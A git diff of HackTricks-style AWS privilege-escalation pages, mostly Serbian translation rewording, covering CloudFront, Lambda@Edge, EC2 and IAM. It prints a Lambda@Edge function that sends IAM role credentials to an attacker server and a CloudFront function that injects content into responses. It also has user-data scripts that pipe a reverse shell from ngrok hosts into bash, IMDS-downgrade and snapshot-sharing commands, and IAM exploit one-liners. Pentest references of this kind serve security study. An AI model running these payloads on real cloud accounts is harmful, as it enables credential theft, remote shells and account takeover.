\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Kreiraj novo telo sa zlonamernim JavaScript-om
+var maliciousBody = `
+
+
+
+Kompromitovana stranica
+
+
+Originalni sadržaj
+Ova stranica je izmenjena pomoću CloudFront Functions
+
+
+
+`;
+// Potpuno zameni telo
+response.body = { encoding: "text", data: maliciousBody };
+// Ažuriraj zaglavlja
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Kreiraj malicioznu funkciju u CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Preuzmi ETag funkcije u DEVELOPMENT fazi
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Objavi funkciju u LIVE fazi
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Spakujte Lambda@Edge funkciju
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Kreirajte Lambda@Edge funkciju sa privilegovanom ulogom
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Objavite verziju funkcije
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Primeni ažuriranu konfiguraciju distribucije (mora koristiti trenutni ETag)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Pokreni funkciju slanjem zahteva na distribuciju
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 7c5652ded..d982fac51 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -12,11 +12,11 @@ Za više **informacija o EC2** pogledajte:
### `iam:PassRole`, `ec2:RunInstances`
-Napadač može **kreirati instancu sa priloženom IAM rolom i potom pristupiti instanci** kako bi ukrao kredencijale IAM role sa metadata endpointa.
+Napadač može **kreirati instancu kojoj dodeli IAM role i zatim pristupiti toj instanci** kako bi ukrao IAM role credentials sa metadata endpoint.
- **Pristup preko SSH**
-Pokrenite novu instancu koristeći već kreirani **ssh key** (`--key-name`) i potom se povežite na nju preko SSH (ako želite da kreirate novi, možda ćete trebati dozvolu `ec2:CreateKeyPair`).
+Pokrenite novu instancu koristeći već **kreirani** **ssh key** (`--key-name`) i zatim se povežite na nju preko ssh (ako želite da kreirate novu možda će vam trebati dozvola `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Pristup preko rev shell u user data**
-Možete pokrenuti novu instancu koristeći **user data** (`--user-data`) koja će vam poslati **rev shell**. Na ovaj način ne morate navoditi security group.
+Možete pokrenuti novu instancu koristeći **user data** (`--user-data`) koja će vam poslati **rev shell**. Na ovaj način nije potrebno navoditi security group.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Pažljivo sa GuradDuty ako koristite kredencijale IAM role izvan instance:
+Budite oprezni sa GuradDuty ako koristite kredencijale IAM role van instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ Pažljivo sa GuradDuty ako koristite kredencijale IAM role izvan instance:
#### Privesc na ECS
-Sa ovim skupom permisija takođe biste mogli **da kreirate EC2 instancu i registrujete je unutar ECS cluster-a**. Na ovaj način, ECS **services** će biti **pokrenuti** unutar **EC2 instance** kojoj imate pristup i tada možete prodrijeti u te servise (docker containers) i **ukrasti im pridružene ECS role**.
+Sa ovim skupom permisija takođe biste mogli **kreirati EC2 instance i registrovati je unutar ECS clustera**. Na ovaj način, ECS **servisi** će biti **pokrenuti** unutar **EC2 instance** kojoj imate pristup, i onda možete prodrijeti u te servise (docker kontejnere) i **ukrasti njihove prikačene ECS role**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Da biste saznali kako da **naterate ECS servise da se pokrenu** u ovoj novoj EC2 instanci pogledajte:
+Da biste saznali kako da **naterate ECS servise da se pokrenu** u ovoj novoj EC2 instance, pogledajte:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Ako **ne možete da kreirate novu instancu** ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu u okviru klastera i izvedete pomenuti napad.
+Ako **ne možete kreirati novu instance** ali imate dozvolu `ecs:RegisterContainerInstance` možda ćete moći da registrujete instance unutar cluster i izvedete pomenuti attack.
-**Potential Impact:** Direktan privesc na ECS uloge pridružene task-ovima.
+**Potential Impact:** Direktan privesc na ECS roles prikačene na tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Slično prethodnom scenariju, napadač sa ovim permisijama bi mogao **promeniti IAM ulogu kompromitovane instance** kako bi mogao da ukrade nove kredencijale.\
-Pošto instance profile može imati samo 1 ulogu, ako instance profile **već ima ulogu** (češći slučaj), takođe će vam trebati **`iam:RemoveRoleFromInstanceProfile`**.
+Slično prethodnom scenariju, attacker sa ovim dozvolama može **promeniti IAM role kompromitovane instance** tako da bi mogao da ukrade nove credentials.\
+Pošto instance profile može imati samo 1 role, ako instance profile **već ima role** (uobičajen slučaj), takođe ćete trebati **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Ako **instance profile ima role** i napadač **ne može da ga ukloni**, postoji drugo zaobilazno rešenje. On može da **pronađe** **instance profile bez role** ili **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **asocira instance profile** na kompromitovanu i**nstanca:**
+Ako **instance profile ima role** i napadač **ne može da ga ukloni**, postoji drugo zaobilazno rešenje. Može da **pronađe** **instance profile bez role** ili **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **poveže instance profile** kompromitovan sa kompromitovanom i**nstance:**
-- Ako instanca **nema nijedan instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Ako instance **ne poseduje nijedan instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potencijalni uticaj:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
+**Potencijalni uticaj:** Direktan privesc na drugi EC2 role (morate kompromitovati AWS EC2 instance i imati neke dodatne dozvole ili specifičan instance profile status).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Sa ovim dozvolama moguće je promeniti instance profile povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade credentials za više instance profile role menjajući onaj koji je sa njom povezan.
+Sa ovim dozvolama moguće je promeniti instance profile koji je povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade credentials za više instance profile roles promenom onog koji je povezan sa tom instancom.
-- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
+- Ako instanca **ima instance profile**, možete **ukloniti** instance profile (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
@@ -102,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potencijalni uticaj:** Direktan privesc na drugu EC2 role (potrebno je da kompromitujete AWS EC2 instance i imate dodatnu dozvolu ili specifičan instance profile status).
+**Potencijalni uticaj:** Direktan privesc na drugi EC2 role (potrebno je да сте kompromitovali AWS EC2 instancu i да imate neka dodatna dopuštenja ili specifičan instance profile status).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Napadač sa dozvolama **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **prikačenom EC2 Role** i **rev shell** u **user data**.\
-Kada se instance pokrene, može **ukrasti IAM role**.
+Napadač koji ima dozvole **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **EC2 Role attached** i sa **rev shell** u **user data**.\
+Kada se instanca pokrene, on može **ukrasti IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Napadač sa **`ec2:ModifyInstanceAttribute`** može da menja atribute instance. Između ostalog, može da **promeni user data**, što podrazumeva da može da natera instancu da **pokrene proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell na EC2 instanci**.
+Napadač koji ima **`ec2:ModifyInstanceAttribute`** može da menja atribute instance. Između ostalog, može da **promeni user data**, što znači da može da natera instancu da **pokrene proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell** na EC2 instanci.
-Imajte u vidu da se atributi mogu **izmeniti samo dok je instanca zaustavljena**, pa su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
+Napomena: atributi se mogu **menjati samo dok je instanca zaustavljena**, pa su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potencijalni uticaj:** Direktan privesc na bilo koju EC2 IAM Role pridruženu kreiranoj instanci.
+**Potencijalni uticaj:** Direktan privesc do bilo koje EC2 IAM Role prikačene na kreiranu instancu.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Napadač sa permisijama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **new Launch Template version** sa **rev shell in** **user data** i **any EC2 IAM Role on it**, promeni podrazumevanu verziju, i svaka **any Autoscaler group** **using** that **Launch Templat**e koja je **configured** da koristi **latest** ili **default version** će **re-run the instances** koristeći taj template i izvršiće rev shell.
+Napadač koji ima dozvole **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **novu Launch Template verziju** sa **rev shell u** **user data** i **bilo kojom EC2 IAM Role na njoj**, promeni podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Templat**e i koja je **konfigurisana** da koristi **najnoviju** ili **podrazumevanu verziju**, će **ponovo pokrenuti instance** koristeći taj template i izvršiti rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potencijalni uticaj:** Direktan privesc na drugu EC2 rolu.
+**Potencijalni uticaj:** Direktan privesc na drugi EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **create a Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **create an autoscaling group** iz te konfiguracije i sačekati da rev shell **steal the IAM Role**.
+Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može da **kreira Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **kreira autoscaling group** iz te Launch Configuration i sačeka da rev shell **preuzme IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Potencijalni uticaj:** Direktan privesc na drugu EC2 rolu.
+**Mogući uticaj:** Direktan privesc na drugu EC2 rolu.
### `!autoscaling`
-Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM role, jer da biste prikačili rolu navedenu u Launch Configuration ili u Launch Template **potrebne su permisije `iam:PassRole` i `ec2:RunInstances`** (što je poznat privesc).
+Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM rolu jer, da biste prikačili rolu navedenu u Launch Configuration ili u Launch Template, potrebne su dozvole `iam:PassRole` i `ec2:RunInstances` (što je poznati privesc).
### `ec2-instance-connect:SendSSHPublicKey`
-Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i koristiti ga da pristupi (ako ima ssh pristup instanci) ili da eskalira privilegije.
+Napadač koji ima dozvolu **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i iskoristiti ga za pristup (ako ima ssh pristup instanci) ili za eskalaciju privilegija.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Potencijalni uticaj:** Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama.
+**Potencijalni uticaj:** Direktan privesc do EC2 IAM roles prikačenih na pokrenutim instancama.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ na serijsku vezu**. Ako serijski interfejs nije omogućen, napadaču je potrebna dozvola **`ec2:EnableSerialConsoleAccess` da ga omogući**.
+Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ za serijski konzolni pristup**. Ako serijski konzolni pristup nije omogućen, napadač treba dozvolu **`ec2:EnableSerialConsoleAccess` da ga omogući**.
-Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku naloga** unutar mašine.
+Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku korisnika** unutar mašine.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Ovaj način nije baš koristan za privesc jer morate znati korisničko ime i lozinku da biste to iskoristili.
+Ovaj način nije toliko koristan za privesc jer je potrebno znati username i password da bi se iskoristio.
-**Potencijalni uticaj:** (Teško dokazivo) Direktan privesc na EC2 IAM roles koje su pridružene pokrenutim instancama.
+**Mogući uticaj:** (Veoma teško dokazivo) Direct privesc to the EC2 IAM roles attached to running instances.
### `describe-launch-templates`,`describe-launch-template-versions`
-Pošto launch templates imaju verzionisanje, napadač sa dozvolama **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali prisutni u user data. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates:
+Pošto launch templates imaju verzionisanje, napadač sa **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** permisijama može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali koji se nalaze u user data. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,11 +248,11 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-U gore navedenim komandama, iako navodimo određene obrasce (`aws_|password|token|api`), možete koristiti drugi regex da biste tražili druge vrste osetljivih informacija.
+U gore navedenim komandama, iako navodimo određene obrasce (`aws_|password|token|api`), možete koristiti drugačiji regex da tražite druge vrste osetljivih informacija.
-Ako pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te akreditive za autentifikaciju na AWS.
+Pretpostavljajući da nađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te kredencijale za autentifikaciju na AWS.
-**Potential Impact:** Direktno eskaliranje privilegija na IAM korisnika/korisnike.
+**Potential Impact:** Direktna eskalacija privilegija na IAM korisnike.
## References
@@ -262,13 +262,12 @@ Ako pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti
+### `ec2:ModifyInstanceMetadataOptions` (Smanjivanje IMDS zaštite kako bi se omogućila krađa kredencijala putem SSRF)
-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade za omogućavanje SSRF krađe kredencijala)
+Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na ciljanoj EC2 instanci može oslabiti IMDS zaštite omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint metapodataka instance dostupnim preko uobičajenih SSRF/proxy putanja iz aplikacija koje se izvršavaju na instanci. Ako napadač može pokrenuti SSRF u takvoj aplikaciji, može preuzeti kredencijale instance profila i pivotirati koristeći ih.
-Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na kompromitovanoj EC2 instanci može oslabiti IMDS zaštite omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint instance metadata dostpunim putem uobičajenih SSRF/proxy putanja iz aplikacija koje se izvršavaju na instanci. Ako napadač može da izazove SSRF u takvoj aplikaciji, može preuzeti kredencijale instance profila i pivotirati pomoću njih.
-
-- Potrebne dozvole: `ec2:ModifyInstanceMetadataOptions` na ciljnoj instanci (plus mogućnost da se dostigne/izazove SSRF na hostu).
-- Ciljni resurs: Pokrenuta EC2 instanca sa pridruženim instance profile-om (IAM role).
+- Potrebna dopuštenja: `ec2:ModifyInstanceMetadataOptions` na ciljanoj instanci (pored mogućnosti da dosegne/pokrene SSRF na hostu).
+- Ciljni resurs: pokrenuta EC2 instanca sa prikačenim instance profile-om (IAM role).
Commands example:
```bash
@@ -297,5 +296,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Potencijalni uticaj: Krađa instance profile credentials putem SSRF-a koja dovodi do privilege escalation i lateral movement sa EC2 role permissions.
+Mogući uticaj: Krađa kredencijala instance profila putem SSRF-a što dovodi do eskalacije privilegija i lateralnog kretanja uz dozvole EC2 role.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Napadač koji ima dozvolu ec2:ModifyInstanceMetadataOptions može oslabiti zaštite Instance Metadata Service (IMDS) — na primer forsiranjem IMDSv1 (činjenjem HttpTokens nepotrebnim) ili povećanjem HttpPutResponseHopLimit — čime se olakšava eksfiltracija privremenih kredencijala. Najrelevantniji vektor rizika je povećanje HttpPutResponseHopLimit: povećanjem tog hop limita (TTL), endpoint 169.254.169.254 prestaje biti strogo ograničen na mrežni namespace VM-a i može postati dostupan drugim procesima/kontejnerima, omogućavajući krađu kredencijala.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Napadač koji ima dozvole `ec2:ModifyImageAttribute` i `ec2:ModifySnapshotAttribute` može da podeli AMIs ili snapshots sa drugim AWS nalozima (ili čak da ih učini javnim), čime izlaže images ili volumes koji mogu sadržati osetljive podatke kao što su konfiguracije, pristupni podaci, sertifikati ili rezervne kopije. Menjanjem AMI-jeve launch permissions ili snapshot-ovih create-volume permissions, napadač omogućava trećim stranama da pokrenu instances ili montiraju diskove iz tih resursa i pristupe njihovom sadržaju.
+
+Da biste podelili AMI sa drugim nalogom:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Da biste podelili EBS snapshot sa drugim nalogom:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index dad5f1da1..bdd3958f3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,66 +12,66 @@ Za više informacija o IAM pogledajte:
### **`iam:CreatePolicyVersion`**
-Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za permisijom `iam:SetDefaultPolicyVersion` korišćenjem opcije `--set-as-default`. Ovo omogućava definisanje prilagođenih permisija.
+Omogućava kreiranje nove IAM policy verzije, zaobilaženjem potrebe za dozvolom `iam:SetDefaultPolicyVersion` korišćenjem flaga `--set-as-default`. Ovo omogućava definisanje prilagođenih dozvola.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Uticaj:** Direktno eskalira privilegije dopuštajući bilo koju akciju nad bilo kojim resursom.
+**Impact:** Direktno eskalira privilegije omogućavajući izvršavanje bilo koje akcije nad bilo kojim resursom.
### **`iam:SetDefaultPolicyVersion`**
Omogućava promenu podrazumevane verzije IAM policy-ja na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.
-**Bash komanda:**
+**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Uticaj:** Indirektno privilege escalation omogućavanjem dodatnih dozvola.
+**Uticaj:** Indirektna privilege escalation omogućavanjem dodatnih dozvola.
### **`iam:CreateAccessKey`**
-Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation.
+Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalne privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Uticaj:** Direktna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.
+**Uticaj:** Neposredna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktne eskalacije privilegija.
+Dozvoljava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu na AWS konzolu, što vodi do neposredne eskalacije privilegija.
-**Exploit for Creation:**
+**Eksploit za kreiranje:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Exploit za Ažuriranje:**
+**Exploit za ažuriranje:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Uticaj:** Direktna eskalacija privilegija prijavom kao bilo koji korisnik.
+**Uticaj:** Direktna eskalacija privilegija prijavom kao korisnik "any".
### **`iam:UpdateAccessKey`**
-Dozvoljava ponovno omogućavanje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje taj onemogućeni access key.
+Dozvoljava ponovno aktiviranje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni access key.
-**Exploit:**
+**Eksploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Uticaj:** Direktna eskalacija privilegija ponovnim aktiviranjem access keys.
+**Impact:** Direktna eskalacija privilegija ponovnim reaktiviranjem access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Omogućava generisanje ili resetovanje kredencijala za određene AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pripadajućeg korisnika.
+Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pridruženog korisnika.
-**Eksploit za kreiranje:**
+**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
@@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impact:** Direktna eskalacija privilegija u okviru servisnih dozvola korisnika.
+**Uticaj:** Direktna eskalacija privilegija u okviru servisnih dozvola korisnika.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Omogućava prikačivanje policy-ja korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačenog policy-ja.
+Omogućava prikačivanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačene politike.
**Exploit for User:**
```bash
@@ -99,11 +99,11 @@ aws iam attach-group-policy --group-name --policy-arn "
Dozvoljava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktnu eskalaciju privilegija dodeljivanjem dodatnih dozvola.
-**Eksploatacija za ulogu:**
+**Eksploit za ulogu:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Eksploatacija za Inline Policies:**
+**Exploit za Inline Policies:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -127,28 +127,28 @@ Možete koristiti politiku poput:
]
}
```
-**Uticaj:** Direktna eskalacija privilegija dodavanjem dozvola kroz politike.
+**Uticaj:** Direktna eskalacija privilegija dodavanjem dozvola putem politika.
### **`iam:AddUserToGroup`**
